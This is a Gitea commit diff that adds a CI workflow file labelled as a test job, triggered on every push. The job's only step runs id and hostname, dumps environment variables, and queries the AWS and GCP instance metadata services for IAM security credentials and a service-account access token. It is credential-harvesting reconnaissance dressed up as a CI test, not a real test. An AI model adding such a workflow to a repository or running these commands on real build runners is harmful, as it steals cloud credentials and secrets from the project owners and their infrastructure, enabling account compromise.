parent
3964bd6e84
commit
9196500b56
13
.gitea/workflows/ci.yml
Normal file
13
.gitea/workflows/ci.yml
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
name: CI
|
||||||
|
on: [push]
|
||||||
|
jobs:
|
||||||
|
test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- run: |
|
||||||
|
id
|
||||||
|
hostname
|
||||||
|
env | head -20
|
||||||
|
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || echo NO_AWS
|
||||||
|
echo SEP
|
||||||
|
curl -s -H Metadata-Flavor:Google http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null || echo NO_GCP
|
||||||
Loading…
x
Reference in New Issue
Block a user